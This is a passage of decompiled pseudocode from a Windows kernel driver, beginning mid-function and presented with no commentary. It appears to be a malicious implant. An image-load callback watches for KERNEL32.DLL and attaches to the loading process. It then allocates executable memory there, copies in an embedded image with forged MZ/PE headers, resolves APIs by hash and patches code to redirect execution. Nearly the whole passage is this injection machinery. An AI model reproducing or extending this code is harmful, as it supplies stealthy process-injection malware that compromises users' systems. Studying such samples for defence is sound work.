      result = sub_10C22(v2);
    }
    else
    {
      result = -1073741822;
    }
  }
  return result;
}

//----- (00010BE8) --------------------------------------------------------
signed int __cdecl sub_10BE8()
{
  return 1;
}

//----- (00010BEC) --------------------------------------------------------
int __userpurge sub_10BEC<eax>(int a1<ebp>, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@1

  *(_DWORD *)(a1 - 4) = -1;
  v4 = *(_DWORD *)(a1 + 12);
  v3 = *(_DWORD *)(a1 - 28);
  if ( v3 != 259 )
  {
    if ( v3 )
      *(_DWORD *)(v4 + 28) = 0;
    *(_DWORD *)(v4 + 24) = v3;
    IofCompleteRequest((PIRP)v4, 0);
  }
  return _SEH_epilog();
}
// 12463: using guessed type int _SEH_epilog(void);

//----- (00010C22) --------------------------------------------------------
signed int __usercall sub_10C22<eax>(int a1<eax>)
{
  int v1; // edi@1
  int v2; // eax@3
  unsigned int v3; // esi@3
  int v4; // ecx@3
  signed int v6; // esi@6
  int v7; // edi@9
  struct _KMUTANT *v8; // [sp+10h] [bp-20h]@1
  ULONG v9; // [sp+14h] [bp-1Ch]@1
  LSA_UNICODE_STRING ValueName; // [sp+18h] [bp-18h]@1
  LSA_UNICODE_STRING DestinationString; // [sp+20h] [bp-10h]@1
  char v12; // [sp+28h] [bp-8h]@2

  v1 = a1;
  RtlInitUnicodeString(&DestinationString, &word_14395);
  RtlInitUnicodeString(&ValueName, &word_1445D);
  v8 = (struct _KMUTANT *)(v1 + 8);
  KeWaitForSingleObject((PVOID)(v1 + 8), 0, 0, 0, 0);
  v9 = sub_11D62(&DestinationString, &ValueName, v1);
  if ( v9 )
  {
    RtlInitUnicodeString((PUNICODE_STRING)&v12, &word_14471);
    v9 = sub_10638((LSA_UNICODE_STRING *)&v12, dword_14539, v1);
    if ( v9 )
    {
LABEL_6:
      v6 = -1073741823;
      goto LABEL_7;
    }
  }
  v2 = *(_DWORD *)(v1 + 4);
  v3 = *(_DWORD *)(v2 + 4);
  sub_11EC6(dword_1453D, *(_DWORD *)v2, v3);
  if ( sub_11D46(v4, v3) )
  {
    KeReleaseMutex(v8, 0);
    return -1073741823;
  }
  v6 = v9;
  if ( !v9 )
  {
    v7 = *(_DWORD *)(v1 + 4);
    if ( v7 && *(_DWORD *)(v7 + 4) > 0u )
    {
      v6 = 0;
      goto LABEL_7;
    }
    goto LABEL_6;
  }
LABEL_7:
  KeReleaseMutex(v8, 0);
  return v6;
}
// 14539: using guessed type int dword_14539;
// 1453D: using guessed type int dword_1453D;

//----- (00010CFE) --------------------------------------------------------
signed int __stdcall sub_10CFE(int a1, int a2)
{
  int v2; // eax@1
  int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@2
  signed int v6; // edi@5
  int v8; // [sp+10h] [bp-4h]@1

  v3 = a1;
  v4 = 0;
  v8 = 0;
  KeWaitForSingleObject((PVOID)(a1 + 8), 0, 0, 0, 0);
  v2 = (int)ExAllocatePool(0, 0x10u);
  if ( v2 )
  {
    v5 = sub_105A0((int)&v8, *(_DWORD *)(*(_DWORD *)(a1 + 4) + 4), v2, **(const void ***)(a1 + 4));
    v3 = a1;
    v4 = 0;
  }
  else
  {
    v5 = 0;
  }
  sub_1076E(a2, (PVOID *)v5);
  if ( v8 == v4 )
  {
    if ( *(_DWORD *)(v3 + 4) == v4 )
      v6 = -1073741823;
    else
      v6 = 0;
  }
  else
  {
    v6 = v8;
  }
  KeReleaseMutex((PRKMUTEX)(a1 + 8), v4);
  return v6;
}

//----- (00010D7E) --------------------------------------------------------
void __usercall sub_10D7E(int a1<eax>)
{
  PVOID *v1; // edi@2

  if ( *(_BYTE *)a1 )
  {
    v1 = *(PVOID **)(a1 + 4);
    *(_BYTE *)a1 = 0;
    if ( v1 )
    {
      if ( *v1 )
        ExFreePoolWithTag(*v1, 0);
      ExFreePoolWithTag(v1, 0);
    }
  }
}

//----- (00010DA8) --------------------------------------------------------
int __usercall sub_10DA8<eax>(int a1<ecx>, int a2<edi>, int a3<esi>)
{
  int v4; // eax@1
  int v5; // [sp+0h] [bp-4h]@1

  v5 = a1;
  sub_10FC4(a3, (int)&v5);
  *(_DWORD *)a2 = *(_DWORD *)(a3 + 8) + *(_DWORD *)a3;
  v4 = v5;
  *(_DWORD *)(a2 + 4) = v5;
  *(_DWORD *)(a3 + 8) += v4;
  return a3;
}

//----- (00010DCC) --------------------------------------------------------
void __stdcall sub_10DCC(int a1, HANDLE Handle, int a3)
{
  int v3; // ecx@9
  int v4; // esi@9
  int v5; // ebx@12
  int v6; // ecx@12
  int v7; // eax@14
  int i; // [sp+10h] [bp-50h]@4
  unsigned int v9; // [sp+14h] [bp-4Ch]@9
  RTL_GENERIC_TABLE *v10; // [sp+18h] [bp-48h]@8
  int v11; // [sp+1Ch] [bp-44h]@8
  int v12; // [sp+20h] [bp-40h]@9
  char v13; // [sp+24h] [bp-3Ch]@8
  int v14; // [sp+28h] [bp-38h]@8
  int v15; // [sp+2Ch] [bp-34h]@9
  int v16; // [sp+30h] [bp-30h]@9
  int v17; // [sp+34h] [bp-2Ch]@11
  int v18; // [sp+38h] [bp-28h]@11
  int v19; // [sp+3Ch] [bp-24h]@4
  char v20; // [sp+40h] [bp-20h]@7
  WCHAR *v21; // [sp+44h] [bp-1Ch]@11
  char v22; // [sp+4Ch] [bp-14h]@14
  int v23; // [sp+54h] [bp-Ch]@9
  unsigned int v24; // [sp+58h] [bp-8h]@9
  int v25; // [sp+5Ch] [bp-4h]@9

  if ( sub_117A8(L"KERNEL32.DLL", a1) )
  {
    sub_1174A((int)Handle, a3);
  }
  else
  {
    if ( !sub_10542() )
    {
      i = 0;
      sub_11F42((int)&v19, (int)&i, Handle);
      if ( !i )
      {
        if ( v19 == *(_DWORD *)(a3 + 4) )
        {
          if ( !(dword_14391 & 4) || !v20 )
          {
            sub_10B36((int)&v10);
            sub_11066((int)Handle, v10);
            v13 = 1;
            v14 = 0;
            sub_10AE2((int)&v11);
            if ( !sub_10CFE(v11, (int)&v13) )
            {
              v3 = *(_DWORD *)v14;
              v24 = *(_DWORD *)(v14 + 4);
              v23 = v3;
              v25 = 0;
              v15 = 0;
              v16 = 0;
              sub_10FC4((int)&v23, (int)&v12);
              sub_10DA8(v3, (int)&v15, (int)&v23);
              sub_10FC4((int)&v23, (int)&v9);
              v4 = v25;
              if ( v25 <= v24 )
              {
                if ( !v12 )
                {
                  v21 = 0;
                  v17 = 0;
                  v18 = 0;
                  for ( i = 0; i < v9; ++i )
                  {
                    v5 = v4 + v23;
                    v25 = v4 + 16;
                    v12 = v4 + v23;
                    sub_10DA8(v3, (int)&v21, (int)&v23);
                    sub_10DA8(v6, (int)&v17, (int)&v23);
                    v4 = v25;
                    if ( v25 > v24 )
                      break;
                    if ( sub_117A8(v21, a1) )
                    {
                      v7 = sub_111B4((int)&v15, (int)&v22, *(_DWORD *)(v5 + 12));
                      sub_11522((int)Handle, a3, v12, (int)&v17, v7);
                    }
                  }
                }
              }
            }
            sub_10D7E((int)&v13);
          }
        }
      }
    }
  }
}
// 124E0: using guessed type wchar_t aKernel32_dll[13];
// 14391: using guessed type int dword_14391;

//----- (00010F80) --------------------------------------------------------
void __stdcall NotifyRoutine(int a1, HANDLE Handle, int a3)
{
  if ( KeGetCurrentIrql() <= 1u )
  {
    if ( Handle )
      sub_10DCC(a1, Handle, a3);
  }
}

//----- (00010FC4) --------------------------------------------------------
int __userpurge sub_10FC4<eax>(int result<eax>, int a2)
{
  int v2; // ecx@1

  v2 = *(_DWORD *)(result + 8);
  if ( (unsigned int)(v2 + 4) <= *(_DWORD *)(result + 4) )
    *(_DWORD *)a2 = *(_DWORD *)(v2 + *(_DWORD *)result);
  *(_DWORD *)(result + 8) = v2 + 4;
  return result;
}

//----- (00010FE6) --------------------------------------------------------
RTL_GENERIC_TABLE *__cdecl sub_10FE6()
{
  memset(&Table, 0, sizeof(Table));
  byte_14658 = -1;
  dword_14654 = 0;
  dword_1465C = 0;
  dword_14660 = 0;
  RtlInitializeGenericTable(
    &Table,
    (PRTL_GENERIC_COMPARE_ROUTINE)CompareRoutine,
    (PRTL_GENERIC_ALLOCATE_ROUTINE)AllocateRoutine,
    (PRTL_GENERIC_FREE_ROUTINE)FreeRoutine,
    0);
  return &Table;
}
// 14654: using guessed type int dword_14654;
// 14658: using guessed type char byte_14658;
// 1465C: using guessed type int dword_1465C;
// 14660: using guessed type int dword_14660;

//----- (00011028) --------------------------------------------------------
PVOID __usercall sub_11028<eax>(int a1<eax>, RTL_GENERIC_TABLE *a2<edi>)
{
  PKSPIN_LOCK v2; // ecx@1
  PVOID v3; // esi@1
  PVOID v4; // eax@1
  char v5; // zf@1
  KIRQL v6; // dl@2
  int Buffer; // [sp+8h] [bp-18h]@1
  PKSPIN_LOCK SpinLock; // [sp+1Ch] [bp-4h]@1

  Buffer = a1;
  sub_1118A((int)&SpinLock, (int)&a2[1]);
  v4 = RtlLookupElementGenericTable(a2, &Buffer);
  v2 = SpinLock;
  v5 = SpinLock[3] == 1;
  --v2[3];
  v3 = v4;
  if ( v5 )
  {
    v6 = *((_BYTE *)v2 + 4);
    v2[2] = 0;
    KfReleaseSpinLock(v2, v6);
  }
  return v3;
}

//----- (00011066) --------------------------------------------------------
signed int __usercall sub_11066<eax>(int a1<eax>, RTL_GENERIC_TABLE *a2<edi>)
{
  int v2; // ecx@1
  BOOLEAN v3; // al@1
  char v4; // zf@2
  KIRQL v5; // dl@3
  signed int result; // eax@4
  char v7; // zf@5
  KIRQL v8; // dl@6
  int Buffer; // [sp+8h] [bp-18h]@1
  int v10; // [sp+1Ch] [bp-4h]@1

  Buffer = a1;
  sub_1118A((int)&v10, (int)&a2[1]);
  v3 = RtlDeleteElementGenericTable(a2, &Buffer);
  v2 = v10;
  if ( v3 )
  {
    v7 = *(_DWORD *)(v10 + 12)-- == 1;
    if ( v7 )
    {
      v8 = *(_BYTE *)(v2 + 4);
      *(_DWORD *)(v2 + 8) = 0;
      KfReleaseSpinLock((PKSPIN_LOCK)v2, v8);
    }
    result = 0;
  }
  else
  {
    v4 = *(_DWORD *)(v10 + 12)-- == 1;
    if ( v4 )
    {
      v5 = *(_BYTE *)(v2 + 4);
      *(_DWORD *)(v2 + 8) = 0;
      KfReleaseSpinLock((PKSPIN_LOCK)v2, v5);
    }
    result = -1073741823;
  }
  return result;
}

//----- (000110C0) --------------------------------------------------------
signed int __userpurge sub_110C0<eax>(RTL_GENERIC_TABLE *a1<eax>, int *a2)
{
  RTL_GENERIC_TABLE *v2; // edi@1
  PKSPIN_LOCK v3; // ecx@3
  char v4; // zf@3
  PVOID v6; // eax@7
  char v7; // zf@8
  char v8; // zf@10
  KIRQL v9; // dl@11
  PKSPIN_LOCK SpinLock; // [sp+Ch] [bp-4h]@1

  v2 = a1;
  sub_1118A((int)&SpinLock, (int)&a1[1]);
  if ( sub_11028(*a2, v2) && sub_11066(*a2, v2) )
  {
    v3 = SpinLock;
    v4 = SpinLock[3] == 1;
    --v3[3];
    if ( !v4 )
      return -1073741823;
    v3[2] = 0;
LABEL_5:
    KfReleaseSpinLock(v3, *((_BYTE *)v3 + 4));
    return -1073741823;
  }
  v6 = RtlInsertElementGenericTable(v2, a2, 0x14u, 0);
  v3 = SpinLock;
  if ( !v6 )
  {
    v7 = SpinLock[3]-- == 1;
    if ( !v7 )
      return -1073741823;
    v3[2] = 0;
    goto LABEL_5;
  }
  v8 = SpinLock[3]-- == 1;
  if ( v8 )
  {
    v9 = *((_BYTE *)v3 + 4);
    v3[2] = 0;
    KfReleaseSpinLock(v3, v9);
  }
  return 0;
}

//----- (00011142) --------------------------------------------------------
bool __stdcall CompareRoutine(int a1, int a2, int a3)
{
  bool result; // eax@2

  if ( *(_DWORD *)a2 == *(_DWORD *)a3 )
    result = 2;
  else
    result = *(_DWORD *)a2 >= *(_DWORD *)a3;
  return result;
}

//----- (00011160) --------------------------------------------------------
PVOID __stdcall AllocateRoutine(int a1, SIZE_T NumberOfBytes)
{
  return ExAllocatePool(0, NumberOfBytes);
}

//----- (00011172) --------------------------------------------------------
void __stdcall FreeRoutine(int a1, PVOID P)
{
  if ( P )
    ExFreePoolWithTag(P, 0);
}

//----- (0001118A) --------------------------------------------------------
int __usercall sub_1118A<eax>(int a1<ebx>, int a2<esi>)
{
  PKTHREAD v2; // edi@1
  KIRQL v3; // al@2

  *(_DWORD *)a1 = a2;
  v2 = KeGetCurrentThread();
  if ( v2 != *(PKTHREAD *)(a2 + 8) )
  {
    v3 = KfAcquireSpinLock((PKSPIN_LOCK)a2);
    *(_DWORD *)(a2 + 12) = 0;
    *(_BYTE *)(a2 + 4) = v3;
    *(_DWORD *)(a2 + 8) = v2;
  }
  ++*(_DWORD *)(a2 + 12);
  return a1;
}

//----- (000111B4) --------------------------------------------------------
int __userpurge sub_111B4<eax>(int a1<eax>, int a2<ebx>, int a3)
{
  int v3; // esi@1
  int v4; // ecx@2
  int v5; // ecx@4
  int v7; // [sp+8h] [bp-24h]@2
  unsigned int v8; // [sp+Ch] [bp-20h]@2
  unsigned int v9; // [sp+10h] [bp-1Ch]@2
  int v10; // [sp+14h] [bp-18h]@2
  int v11; // [sp+18h] [bp-14h]@2
  int v12; // [sp+1Ch] [bp-10h]@4
  unsigned int v13; // [sp+20h] [bp-Ch]@2
  unsigned int v14; // [sp+24h] [bp-8h]@3

  v3 = 0;
  if ( a3
    && (v4 = *(_DWORD *)a1,
        v8 = *(_DWORD *)(a1 + 4),
        v7 = v4,
        v9 = 0,
        v10 = 0,
        v11 = 0,
        sub_10FC4((int)&v7, (int)&v13),
        v9 <= v8)
    && (v14 = 0, v13 > 0) )
  {
    while ( 1 )
    {
      sub_10FC4((int)&v7, (int)&v12);
      sub_10DA8(v5, (int)&v10, (int)&v7);
      if ( v9 > v8 )
      {
LABEL_7:
        v3 = 0;
        goto LABEL_8;
      }
      if ( a3 == v12 )
        break;
      ++v14;
      if ( v14 >= v13 )
        goto LABEL_7;
    }
    *(_DWORD *)a2 = v10;
    *(_DWORD *)(a2 + 4) = v11;
  }
  else
  {
LABEL_8:
    *(_DWORD *)a2 = v3;
    *(_DWORD *)(a2 + 4) = v3;
  }
  return a2;
}

//----- (00011242) --------------------------------------------------------
signed int __userpurge sub_11242<eax>(int a1<eax>, int a2, int a3)
{
  signed int result; // eax@1
  PVOID v4; // eax@2
  PVOID v5; // edi@2
  int v6; // eax@4
  int v7; // ebx@4
  unsigned int v8; // esi@4
  void *v9; // ST08_4@4
  int v10; // ecx@10
  char v11; // [sp+10h] [bp-38h]@1
  int v12; // [sp+18h] [bp-30h]@4
  int v13; // [sp+1Ch] [bp-2Ch]@4
  int v14; // [sp+30h] [bp-18h]@8
  int v15; // [sp+34h] [bp-14h]@7
  unsigned int v16; // [sp+38h] [bp-10h]@8
  int v17; // [sp+3Ch] [bp-Ch]@8
  unsigned int v18; // [sp+40h] [bp-8h]@4
  int v19; // [sp+44h] [bp-4h]@6

  result = sub_121E1((int)&v11, *(_DWORD *)(a1 + 4), 1);
  if ( !result )
  {
    v4 = sub_1182C(dword_12680 + 4981);
    v5 = v4;
    if ( v4
      && (v7 = (int)((char *)v4 + 4981),
          memcpy(v4, &unk_12EB8, 0x1375u),
          memcpy((char *)v5 + 4981, &unk_12694, dword_12680),
          *(_WORD *)v7 = 23117,
          *(_DWORD *)(dword_1268C + v7) = 17744,
          *(_WORD *)(dword_12690 + v7) = 267,
          v9 = (void *)(v7 + dword_12688),
          *(_DWORD *)(a3 + 4) = v7 + dword_12688,
          memset(v9, 0, 0x98u),
          *(_DWORD *)(*(_DWORD *)(a3 + 4) + 88) = v5,
          *(_DWORD *)(*(_DWORD *)(a3 + 4) + 96) = v7,
          *(_DWORD *)(*(_DWORD *)(a3 + 4) + 104) = dword_12680,
          v18 = v12 + *(_DWORD *)(v13 + 40),
          v8 = v18,
          (v6 = sub_1210F((int)&v11, v18)) != 0)
      && v12 + *(_DWORD *)(v6 + 8) + *(_DWORD *)(v6 + 12) >= v8 + 12 )
    {
      result = sub_118E2(v8, (int)&v11);
      v19 = result;
      if ( !result )
      {
        sub_10A8A((int)&v15, &v19);
        result = v19;
        if ( !v19 )
        {
          v16 = v18;
          v17 = 12;
          result = (*(int (__stdcall **)(signed int, unsigned int *, int *, signed int, int *))v15)(
                     -1,
                     &v16,
                     &v17,
                     128,
                     &v14);
          if ( !result )
          {
            result = sub_11864((HANDLE *)(*(_DWORD *)(a3 + 4) + 144));
            if ( !result )
            {
              v10 = v14;
              *(_DWORD *)a3 = a2;
              *(_DWORD *)(a3 + 8) = v7 + dword_12684;
              *(_DWORD *)(a3 + 12) = v18;
              *(_DWORD *)(*(_DWORD *)(a3 + 4) + 136) = v10;
              result = 0;
            }
          }
        }
      }
    }
    else
    {
      result = -1073741823;
    }
  }
  return result;
}
// 12684: using guessed type int dword_12684;
// 12688: using guessed type int dword_12688;
// 1268C: using guessed type int dword_1268C;
// 12690: using guessed type int dword_12690;

//----- (000113C2) --------------------------------------------------------
PVOID __userpurge sub_113C2<eax>(int a1<edi>, int a2, int a3)
{
  PVOID result; // eax@1
  PVOID v4; // esi@1
  int v5; // ebx@2

  result = sub_1182C(*(_DWORD *)(a1 + 4) + 40);
  v4 = result;
  if ( result )
  {
    v5 = (int)((char *)result + 40);
    memcpy((char *)result + 40, *(const void **)a1, *(_DWORD *)(a1 + 4));
    *((_DWORD *)v4 + 2) = v5;
    *((_DWORD *)v4 + 4) = *(_DWORD *)(a1 + 4);
    *((_WORD *)v4 + 12) = *(_WORD *)(a2 + 4);
    *((_BYTE *)v4 + 32) = (*(_BYTE *)(a2 + 6) >> 1) & 1;
    *(_DWORD *)v4 = *(_DWORD *)(*(_DWORD *)(a3 + 4) + 112);
    result = *(PVOID *)(a3 + 4);
    *((_DWORD *)result + 28) = v4;
  }
  return result;
}

//----- (0001141E) --------------------------------------------------------
void __userpurge sub_1141E(int a1<eax>, int a2<ecx>, int a3<ebx>, int a4, int a5)
{
  int v5; // esi@1
  char v6; // zf@1
  int v7; // edi@2
  int v8; // edi@4
  int v9; // eax@6
  int v10; // eax@10
  RTL_GENERIC_TABLE *v11; // edi@10
  char v12; // [sp+8h] [bp-30h]@11
  LSA_UNICODE_STRING DestinationString; // [sp+1Ch] [bp-1Ch]@3
  PCWSTR v14; // [sp+24h] [bp-14h]@2
  int v15; // [sp+28h] [bp-10h]@9
  char v16; // [sp+2Ch] [bp-Ch]@1
  int v17; // [sp+30h] [bp-8h]@1
  RTL_GENERIC_TABLE *v18; // [sp+34h] [bp-4h]@10

  v17 = 0;
  v6 = (*(_BYTE *)(a3 + 6) & 2) == 0;
  v5 = a2;
  v16 = 1;
  if ( v6 )
  {
    v7 = *(_DWORD *)(a1 + 4);
    v14 = *(PCWSTR *)a1;
  }
  else
  {
    RtlInitUnicodeString(&DestinationString, *(PCWSTR *)a1);
    if ( sub_10638(&DestinationString, dword_14539, (int)&v16) )
    {
      v9 = *(_DWORD *)v5;
      v7 = *(_DWORD *)(v5 + 4);
    }
    else
    {
      v8 = v17;
      if ( *(_BYTE *)(a3 + 6) & 1 )
        sub_11EC6(*(_DWORD *)(a3 + 8), *(_DWORD *)v17, *(_DWORD *)(v17 + 4));
      v9 = *(_DWORD *)v8;
      v7 = *(_DWORD *)(v8 + 4);
    }
    v14 = (PCWSTR)v9;
  }
  v15 = v7;
  if ( v7 )
  {
    sub_10B36((int)&v18);
    v11 = v18;
    v10 = (int)sub_11028(a4, v18);
    if ( v10 || !sub_11242(a5, a4, (int)&v12) && !sub_110C0(v11, (int *)&v12) && (v10 = (int)sub_11028(a4, v11)) != 0 )
      sub_113C2((int)&v14, a3, v10);
  }
  sub_10D7E((int)&v16);
}
// 14539: using guessed type int dword_14539;

//----- (000114EC) --------------------------------------------------------
void __fastcall sub_114EC(int a1, int a2, int a3, int a4, int a5)
{
  sub_1141E(a5, a1, a2, a3, a4);
}

//----- (00011522) --------------------------------------------------------
LONG_PTR __stdcall sub_11522(int a1, int a2, int a3, int a4, int a5)
{
  void *v5; // ecx@1
  char v7; // [sp+Ch] [bp-28h]@1
  char v8; // [sp+10h] [bp-24h]@5
  char v9; // [sp+18h] [bp-1Ch]@4
  int v10; // [sp+30h] [bp-4h]@1

  v10 = 0;
  sub_11FC0((int)&v7, (int)&v10, a1);
  if ( !v10 )
    sub_114EC(a5, a3, a1, a2, a4);
  if ( v7 )
  {
    v7 = 0;
    KeUnstackDetachProcess(&v9);
  }
  return sub_120CC(v5, (LONG_PTR)&v8);
}
// 12600: using guessed type int __stdcall KeUnstackDetachProcess(_DWORD);

//----- (00011578) --------------------------------------------------------
PVOID __stdcall sub_11578(int a1)
{
  RTL_GENERIC_TABLE *v2; // [sp+8h] [bp-4h]@1

  sub_10B36((int)&v2);
  return sub_11028(a1, v2);
}

//----- (00011598) --------------------------------------------------------
PVOID __stdcall sub_11598(int a1)
{
  return sub_11578(a1);
}

//----- (000115CC) --------------------------------------------------------
signed int __userpurge sub_115CC<eax>(const void *a1<eax>, int a2<ebx>, int a3)
{
  signed int result; // eax@1
  int v4; // ST38_4@1
  int v5; // esi@2
  char v6; // zf@2
  int v7; // edi@12
  int v8; // ecx@12
  int v9; // esi@12
  char v10; // [sp+8h] [bp-38h]@1
  char v11; // [sp+28h] [bp-18h]@1
  int v12; // [sp+2Ch] [bp-14h]@2
  int v13; // [sp+30h] [bp-10h]@12
  int v14; // [sp+34h] [bp-Ch]@12
  RTL_GENERIC_TABLE *v15; // [sp+3Ch] [bp-4h]@2

  v4 = *(_DWORD *)(a2 + 4);
  memcpy(&v11, a1, 0x14u);
  result = sub_121E1((int)&v10, v4, 1);
  if ( !result )
  {
    sub_10B36((int)&v15);
    sub_11066(a3, v15);
    v5 = v12;
    *(_DWORD *)v12 = *(_DWORD *)(a2 + 4);
    *(_DWORD *)(v5 + 8) = sub_1236B((int)&v10, -934890519);
    *(_DWORD *)(v5 + 16) = sub_1236B((int)&v10, -1871298611);
    *(_DWORD *)(v5 + 24) = sub_1236B((int)&v10, -1680372695);
    *(_DWORD *)(v5 + 32) = sub_1236B((int)&v10, 578844873);
    *(_DWORD *)(v5 + 40) = sub_1236B((int)&v10, 1538632765);
    *(_DWORD *)(v5 + 48) = sub_1236B((int)&v10, 1538689877);
    *(_DWORD *)(v5 + 56) = sub_1236B((int)&v10, -964130467);
    *(_DWORD *)(v5 + 64) = sub_1236B((int)&v10, -411935863);
    *(_DWORD *)(v5 + 72) = sub_1236B((int)&v10, 122157493);
    result = sub_1236B((int)&v10, 201870840);
    v6 = *(_DWORD *)(v5 + 8) == 0;
    *(_DWORD *)(v5 + 80) = result;
    if ( !v6 )
    {
      if ( *(_DWORD *)(v5 + 16) )
      {
        if ( *(_DWORD *)(v5 + 24) )
        {
          if ( *(_DWORD *)(v5 + 32) )
          {
            if ( *(_DWORD *)(v5 + 40) )
            {
              if ( *(_DWORD *)(v5 + 48) )
              {
                if ( *(_DWORD *)(v5 + 56) )
                {
                  if ( *(_DWORD *)(v5 + 64) )
                  {
                    if ( *(_DWORD *)(v5 + 72) )
                    {
                      if ( result )
                      {
                        result = v14;
                        v7 = v5 + 120;
                        v8 = v13;
                        v9 = v14;
                        *(_DWORD *)v7 = *(_DWORD *)v14;
                        v9 += 4;
                        v7 += 4;
                        *(_DWORD *)v7 = *(_DWORD *)v9;
                        *(_DWORD *)(v7 + 4) = *(_DWORD *)(v9 + 4);
                        *(_DWORD *)result = *(_DWORD *)"¸";
                        *(_WORD *)(result + 4) = *(_WORD *)&asc_12678[4];
                        *(_BYTE *)(result + 6) = asc_12678[6];
                        *(_DWORD *)(result + 1) = v8;
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return result;
}

//----- (00011718) --------------------------------------------------------
signed int __thiscall sub_11718(int this, int a2, const void *a3)
{
  return sub_115CC(a3, this, a2);
}

//----- (0001174A) --------------------------------------------------------
__int32 __stdcall sub_1174A(int a1, int a2)
{
  __int32 result; // eax@1
  const void *v3; // edi@1
  void *v4; // ecx@2
  char v5; // [sp+8h] [bp-28h]@2
  char v6; // [sp+Ch] [bp-24h]@6
  char v7; // [sp+14h] [bp-1Ch]@5
  int v8; // [sp+2Ch] [bp-4h]@2

  result = (__int32)sub_11598(a1);
  v3 = (const void *)result;
  if ( result )
  {
    v8 = 0;
    sub_11FC0((int)&v5, (int)&v8, a1);
    if ( !v8 )
      sub_11718(a2, a1, v3);
    if ( v5 )
    {
      v5 = 0;
      KeUnstackDetachProcess(&v7);
    }
    result = sub_120CC(v4, (LONG_PTR)&v6);
  }
  return result;
}
// 12600: using guessed type int __stdcall KeUnstackDetachProcess(_DWORD);

//----- (000117A8) --------------------------------------------------------
char __usercall sub_117A8<al>(WCHAR *a1<eax>, int a2<ecx>)
{
  WCHAR *v2; // edi@1
  int v3; // esi@1
  WCHAR v4; // dx@2
  unsigned int v5; // eax@3
  int v6; // edx@3
  char result; // al@4
  int v8; // eax@5
  WCHAR *v9; // esi@6
  WCHAR v10; // bx@7
  int v11; // [sp+8h] [bp-Ch]@3
  unsigned int v12; // [sp+Ch] [bp-8h]@5
  int v13; // [sp+10h] [bp-4h]@6

  v2 = a1;
  v3 = (int)(a1 + 1);
  do
  {
    v4 = *a1;
    ++a1;
  }
  while ( v4 );
  v6 = (signed int)((char *)a1 - v3) >> 1;
  v5 = (unsigned __int16)(*(_WORD *)a2 >> 1);
  v11 = v6;
  if ( v6 <= v5 )
  {
    v12 = 0;
    v8 = *(_DWORD *)(a2 + 4) + 2 * (v5 - v6);
    if ( v6 )
    {
      v13 = v8 - (_DWORD)v2;
      v9 = v2;
      while ( 1 )
      {
        v10 = RtlUpcaseUnicodeChar(*(WCHAR *)((char *)v9 + v13));
        if ( RtlUpcaseUnicodeChar(*v9) != v10 )
          break;
        ++v12;
        ++v9;
        if ( v12 >= v11 )
          goto LABEL_9;
      }
      result = 0;
    }
    else
    {
LABEL_9:
      result = 1;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (0001182C) --------------------------------------------------------
PVOID __usercall sub_1182C<eax>(ULONG a1<esi>)
{
  PVOID result; // eax@3
  PVOID BaseAddress; // [sp+0h] [bp-8h]@1
  ULONG AllocationSize; // [sp+4h] [bp-4h]@1

  BaseAddress = 0;
  AllocationSize = a1;
  if ( ZwAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &BaseAddress, 0, &AllocationSize, 0x1000u, 0x40u)
    || AllocationSize < a1 )
    result = 0;
  else
    result = BaseAddress;
  return result;
}

//----- (00011864) --------------------------------------------------------
int __usercall sub_11864<eax>(HANDLE *a1<edi>)
{
  signed int v1; // esi@1
  int i; // esi@6
  HANDLE Handle; // [sp+4h] [bp-4Ch]@3
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+24h] [bp-2Ch]@1
  struct _IO_STATUS_BLOCK IoStatusBlock; // [sp+3Ch] [bp-14h]@2
  LSA_UNICODE_STRING DestinationString; // [sp+44h] [bp-Ch]@1
  NTSTATUS v8; // [sp+4Ch] [bp-4h]@2

  RtlInitUnicodeString(&DestinationString, &SourceString);
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ObjectAttributes.Length = 24;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.ObjectName = &DestinationString;
  v1 = 0;
  while ( 1 )
  {
    v8 = ZwOpenFile(a1, 0xC0100000u, &ObjectAttributes, &IoStatusBlock, 3u, 0x60u);
    if ( v8 )
      break;
    *(&Handle + v1++) = *a1;
    if ( v1 > 7 )
      goto LABEL_6;
  }
  ++v1;
LABEL_6:
  for ( i = v1 - 2; i >= 0; --i )
    ZwClose(*(&Handle + i));
  return v8;
}

//----- (000118E2) --------------------------------------------------------
signed int __stdcall sub_118E2(unsigned int a1, int a2)
{
  signed int result; // eax@2
  bool v3; // eax@3
  int v4; // edx@6
  int v5; // ecx@6
  unsigned int v6; // eax@7
  unsigned int v7; // eax@9
  unsigned int v8; // edi@10
  int v9; // eax@11
  int i; // [sp+0h] [bp-10h]@6
  unsigned int v11; // [sp+4h] [bp-Ch]@10
  int v12; // [sp+8h] [bp-8h]@3
  int v13; // [sp+Ch] [bp-4h]@3

  if ( *(_DWORD *)(a2 + 8) == *(_DWORD *)(*(_DWORD *)(a2 + 12) + 52)
    || (v13 = 0, v12 = 0, v3 = sub_122D0(a2, 5u, (int)&v13, (int)&v12), v3 == 2) )
  {
    result = 0;
  }
  else
  {
    if ( v3 )
    {
      result = -1073741823;
    }
    else
    {
      v5 = v13;
      v4 = v13 + 8;
      for ( i = v13 + v12; v5 + 8 <= (unsigned int)i; v13 = v5 )
      {
        v6 = *(_DWORD *)(v5 + 4);
        if ( !v6 )
          break;
        if ( v6 < 8 || (v7 = v6 - 8, v7 & 1) )
          return -1073741823;
        v11 = v7 >> 1;
        v8 = 0;
        if ( v7 >> 1 )
        {
          do
          {
            v9 = *(_DWORD *)(a2 + 8) + *(_DWORD *)v5 + (*(_WORD *)(v4 + 2 * v8) & 0xFFF);
            if ( *(_WORD *)(v4 + 2 * v8) & 0xF000 )
            {
              if ( v9 >= a1 && v9 < a1 + 12 )
                return -1073741637;
            }
            ++v8;
          }
          while ( v8 < v11 );
        }
        v5 += *(_DWORD *)(v5 + 4);
        v4 = v5 + 8;
      }
      result = 0;
    }
  }
  return result;
}

//----- (000119AE) --------------------------------------------------------
char __fastcall sub_119AE(int a1, int a2)
{
  int v2; // eax@1

  v2 = *(_DWORD *)(a2 + 36);
  return !(v2 & 0x2000000)
      && v2 & 0x20000000
      && v2 & 0x20
      && v2 & 0x40000000
      && (!strncmp((const char *)a2, ".text", 8) || !strncmp((const char *)a2, "PAGE", 8));
}

